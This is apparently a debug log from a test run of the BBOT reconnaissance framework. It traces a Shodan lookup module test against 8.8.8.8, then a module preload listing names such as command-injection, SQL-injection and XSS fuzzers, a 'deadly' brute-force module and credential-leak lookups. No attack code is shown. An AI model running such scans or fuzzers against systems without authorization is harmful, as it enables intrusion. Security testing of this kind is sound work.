'ipv4', 'in-scope'}) +2026-02-27 22:15:19,276 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:15:19,276 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:15:19,277 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:15:19,277 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-02-27 22:15:19,278 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-02-27 22:15:19,278 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-02-27 22:15:19,279 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:15:19,279 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:15:19,282 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 22:15:19,375 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 22:15:19,379 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:15:19,380 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 22:15:19,381 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:15:19,381 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-02-27 22:15:19,381 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:15:19,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,383 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:15:19,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,386 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,386 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:15:19,388 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:15:19,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:15:19,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,391 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,392 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:15:19,393 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:15:19,393 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:15:19,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,394 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:15:19,394 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:15:19,395 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:15:19,395 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,396 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:15:19,397 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,397 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,397 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:15:19,398 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,398 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,399 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:15:19,399 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:15:19,400 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:15:19,401 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,401 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:15:19,402 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:15:19,402 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:15:19,403 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,403 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check +2026-02-27 22:15:19,404 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) +2026-02-27 22:15:19,404 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:15:19,405 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,405 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,406 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:15:19,406 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:15:19,407 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 22:15:19,408 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:15:19,408 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:15:19,408 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) +2026-02-27 22:15:19,409 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,409 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check +2026-02-27 22:15:19,410 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) +2026-02-27 22:15:19,410 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:15:19,411 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) because precheck succeeded +2026-02-27 22:15:19,411 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,411 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,412 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) +2026-02-27 22:15:19,412 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:15:19,413 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:15:19,413 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check +2026-02-27 22:15:19,414 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) +2026-02-27 22:15:19,414 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) +2026-02-27 22:15:19,415 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) because precheck succeeded +2026-02-27 22:15:19,482 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:15:19,483 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,484 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:15:19,485 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,485 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 22:15:19,485 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:15:19,486 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) from shodan_enterprise +2026-02-27 22:15:19,486 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:15:19,487 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:15:19,487 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:15:19,487 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) from shodan_enterprise +2026-02-27 22:15:19,488 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check +2026-02-27 22:15:19,488 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 22:15:19,489 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 22:15:19,489 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 22:15:19,490 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 22:15:19,490 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 22:15:19,491 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 22:15:19,492 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 22:15:19,493 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 22:15:19,591 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 22:15:19,593 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 22:15:19,612 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 22:15:19,613 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 22:15:19,614 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 22:15:19,627 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 22:15:19,628 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 22:15:19,629 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 22:15:19,630 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 22:15:19,631 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 22:15:19,632 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 22:15:19,751 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_ty8f695kx7 completed in 0 seconds with status FINISHED +2026-02-27 22:15:19,751 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 22:15:19,752 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:15:19,754 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events +2026-02-27 22:15:19,754 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-02-27 22:16:31,988 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:16:32,001 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:16:32,003 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:16:32,005 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:16:32,006 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:16:32,008 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:16:32,009 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:16:32,011 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:16:32,012 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:16:32,013 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:16:32,015 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:16:32,016 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:16:32,017 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:16:32,019 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:16:32,020 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:16:32,021 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:16:32,022 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:16:32,023 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:16:32,025 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:16:32,025 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:16:32,027 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:16:32,028 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:16:32,030 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:16:32,031 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:16:32,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 22:16:32,033 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 22:16:32,038 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 22:16:32,039 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 22:16:32,041 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 22:16:32,043 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 22:16:32,047 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 22:16:32,048 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 22:16:32,053 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 22:16:32,055 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 22:16:32,057 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 22:16:32,058 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 22:16:32,061 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 22:16:32,062 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 22:16:32,065 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 22:16:32,066 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 22:16:32,067 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 22:16:32,068 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:16:32,069 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:16:32,070 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:16:32,071 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:16:32,073 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:16:32,074 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:16:32,075 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:16:32,076 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:16:32,077 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:16:32,079 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:16:32,080 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:16:32,081 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:16:32,083 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:16:32,085 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 22:16:32,086 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 22:16:32,087 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 22:16:32,089 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 22:16:32,090 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 22:16:32,091 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 22:16:32,092 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 22:16:32,093 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 22:16:32,095 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 22:16:32,097 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 22:16:32,098 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 22:16:32,099 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 22:16:32,107 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 22:16:32,109 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 22:16:32,110 